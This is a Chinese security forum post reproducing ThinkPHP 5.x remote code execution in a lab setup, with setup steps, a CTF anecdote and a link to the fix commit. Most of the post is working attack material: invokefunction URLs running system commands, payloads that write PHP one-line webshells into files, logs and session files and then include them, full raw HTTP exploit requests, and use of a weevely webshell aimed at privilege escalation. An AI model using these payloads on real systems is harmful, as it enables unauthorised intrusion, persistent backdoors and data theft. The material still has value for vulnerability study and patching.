# thinkphp5.x RCE漏洞复现【通过】

**URL:** <https://forum.90sec.com/t/topic/704>\
**Category:** 账号审核\
**Created:** [2020 年1 月 16 日 08:34 UTC](https://forum.90sec.com/t/topic/704 "2020-01-16T08:34:12Z")\
**Posts on this page:** 2\
**Page:** 1

<div class="post-metadata">

作者： ![Mke](https://forum.90sec.com/letter_avatar_proxy/v4/letter/m/7cd45c/32.png) [@Mke](https://forum.90sec.com/u/Mke)\
发布日期： [2020 年1 月 16 日 08:34 UTC](https://forum.90sec.com/t/topic/704/1 "2020-01-16T08:34:12Z")

</div>

## **一.thinkphp5.X系列**

### **1.安装composer**

```
yum -y install composer

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/f/f4fed66ba671c51b3fac47f309ec537d564d60fa.png)

安装php拓展

```
yum -y install php-mysql php-gd libjpeg* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash -y

```

### **2.切换目录到/var/www/html**

`cd /var/www/html`

安装thinkphp5

博主把含有命令执行漏洞的thinkphp源码链接附上

链接：[https://pan.baidu.com/s/1MNqISFeKKT4FcJRHg2rTRw](https://pan.baidu.com/s/1MNqISFeKKT4FcJRHg2rTRw)  
提取码：se0n

把文件解压到当前目录(`/var/www/html`)即可

 ![image](https://forum.90sec.com/uploads/default/original/2X/8/83ec40aea6c4b0a2a519ddb838dec98f477088e8.png)
### **3.浏览器查看是否安装成功**

 ![image](https://forum.90sec.com/uploads/default/original/2X/4/4b6fc8575199795866e0886bbdf97da01b6fd463.png)

到这里环境就搭建好了（各位看官如果照着前面的步骤没有成功的，麻烦把php运行环境搭建起来）

### **4.参考官方poc直接执行payload**

payload

```
http://192.168.2.134/tp5/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

```

```
/thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

```

```
/thinkphp/public/?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1

```

```
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars=dir

```

```
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&return_value=&command=dir

```

```
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars[0]=dir&vars[1][]=

```

```
/thinkphp/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/7/75e9ced7e4e947c5a0cb08e97260e260087c1d17.png)

可以看到，这里权限是Apache

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/d1e33f33399979abd98e25ac65ff5dbf5c354942.png)

这里说下，头一天强网杯web有一题就是thinkphp5.x的命令执行漏洞，叫做强网先锋上单。。。

当时觉得还好，随便拉的几个队友，有人做出来了，我去重新做了一遍（关键是互相不认识，谁做的根本不知道）

一开始扫描目录，没发现什么，后面留意到有日志，都是命令执行错误的信息，猜到可能是命令执行，一看cms是thinkphp5

于是就百度翻payload去了，一打，flag有了，flag就藏在根目录下面，hhhhh

言归正传，下面尝试写小马，getshell整个系统

payload附上

```
http://192.168.2.134/tp5/public/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20 ^%3C?php%20@eval($_GET[%22dd%22])?^%3E%3Eceshi.php

```

强网的时候是可以正常写入的，但是无法解析php，可能设置了权限

本地测试的时候发现，根本无法写入小马，如图，估计要先看看源码，找找问题

 ![image](https://forum.90sec.com/uploads/default/original/2X/e/ef593ec41dc5348ba8630dfda70e0d8a8344d947.png)

后面看了下日志，注意到报错，应该是语句被过滤了，小马不够强壮

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/a5cd55ca9bbbc6e566934547a97e5162074707f2.png)

后面我用weevely重新生成了一个小马，重新载入，连上了

webshell附上

 ![image](https://forum.90sec.com/uploads/default/original/2X/9/9e2850b22d8fe66fc29c8bc8b0ed0e142bc6259b.png)

 ![image](https://forum.90sec.com/uploads/default/original/2X/9/94ab729d699fed3602c77f985a7ecaa6d0aef41b.png)

下一步，想办法提权操作，毕竟权限太低了

weevely支持很多的操作，如下图

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/a4baa7e09bf5750a0252b677698dc33ddb2e1197.png)
## **二.Thinkphp5.0.x（\<5.0.24系列）RCE**

payload:  
Thinkphp5.0.23  
POST发包

```
/index.php?s=captcha

```

```
POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

```

freebuf复现的文章缺少method=get参数，有的无法复现

靶机：[http://www.whalwl.cn:8031/](http://www.whalwl.cn:8031/)

 ![image](https://forum.90sec.com/uploads/default/original/2X/f/ff9e52f29ecd3b3a323946718e5e9163c7cd99be.png)

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/dc33146605958ec8eacbc0bbd79c5b651eeddbdb.png)

提权略过

## **三.通过日志方式写入shell**

环境不变（tp5.0.23）

### **1.假设服务器日志目录为`/runtime/log/201911/22.log`**

 ![image](https://forum.90sec.com/uploads/default/original/2X/e/e9586d5523fbd4baf5c8ed4c5226a684efa14801.png)

就可以尝试往日志中写，然后包含日志，getshell

### **2.写入**

```
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

```

这里payloads随便写，只要有完整的可识别的php语句就可以，报错，看起来无事发生，回来看下日志记录

 ![image](https://forum.90sec.com/uploads/default/original/2X/9/973a7e5a9055dca2a1cc43f303a7f7cf875dbb9a.png)
### **3.日志**

 ![image](https://forum.90sec.com/uploads/default/original/2X/2/2d257499c3f8d34cf7cc14c1af3b2b1a663225c8.png)

最后一行，写入成功，最后来包含日志

### **4.包含日志（这里必须要知道日志的路径）**

Post方式

```
?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/201911/22.log&x=phpinfo();

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/9/9299d86378a31d16394bd4deea7215669bc60825.png)

**5.略**

## **四.通过session写入shell**

环境（tp5.0.23）

**1.找到你靶机session保存的位置，一般在phpinfo可以看到**

 ![image](https://forum.90sec.com/uploads/default/original/2X/8/8a154a8be7bee12d8bbd5ce64ff1cf08e555ba15.png)

**2.写入shell,通过Cookie写入**

```http
POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
Cookie: PHPSESSID=ThisIsATestaaaaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/d1465a3c21c151dbba658320ef926f5337f65cc4.png)

到靶机上看，已经在靶机session目录下生成了

 ![image](https://forum.90sec.com/uploads/default/original/2X/1/13021447cd3cd91cde69a617064334b2a2210617.png)

**3.包含Session**

此时session中保存的数据为

 ![image](https://forum.90sec.com/uploads/default/original/2X/3/34eed4129caa43e0916e37c99ef90a3a5a5419a4.png)

其中就包含了一句话木马，在知道Session目录的情况下就可以直接getshell

```php
POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/8/8702e7e954fe9316593e89bc0c8c7c08da98fa68.png)

可以看到这里的php代码已经被执行了，所以只显示了双引号前面的数据

**4.下一步连接一句话木马试试**

```http
POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 142

_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1&x=passthru('ls -la');

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/5/5f3a17159a6e6f033203e6040e0f9b050681531f.png)

**5.略**

**6.当禁用一些函数啥都干不了的时候，可以尝试glob伪协议,遍历数据，结合文件读取函数进行读取文件内容**

```

POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135
Cookie: PHPSESSID=ThisIsATestaaaaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.135/tp5.0.23/
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 226

_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1&x=$a=new%20DirectoryIterator(%22glob:///*%22);foreach($a%20as%20$f){echo($f-%3E__toString().%27%20%27);};

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/f/f3d52e11fa3c86f05f2077efd4e6d179546816d5.png)
## 参考文章：

> **[ThinkPHP 5.0命令执行漏洞分析及复现 - FreeBuf网络安全行业门户](https://www.freebuf.com/vuls/194127.html)**

> **[thinkphp5.0.23rce](https://www.jianshu.com/p/ae48507135f3)**
>
> ThinkPHP是一款运用极广的PHP开发框架。其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行...

> **[记一次有趣的tp5代码执行 - 水泡泡 - 博客园](https://www.cnblogs.com/r00tuser/p/11410157.html)**
>
> 0x00 前言 朋友之前给了个站，拿了很久终于拿下，简单记录一下。 0x01 基础信息 漏洞点：tp 5 method 代码执行，payload如下 无回显，根据payload 成功判断目标think

## 修复补丁：

> <https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003>

_Poll ([view on site](https://forum.90sec.com/t/topic/704/1))_

---

<div class="post-metadata">

作者： ![admin05](https://forum.90sec.com/user_avatar/forum.90sec.com/admin05/32/12_2.png) [@admin05](https://forum.90sec.com/u/admin05)\
发布日期： [2020 年1 月 16 日 08:47 UTC](https://forum.90sec.com/t/topic/704/2 "2020-01-16T08:47:47Z")

</div>

由于版面问题 重新整理了一下 现在可以投票了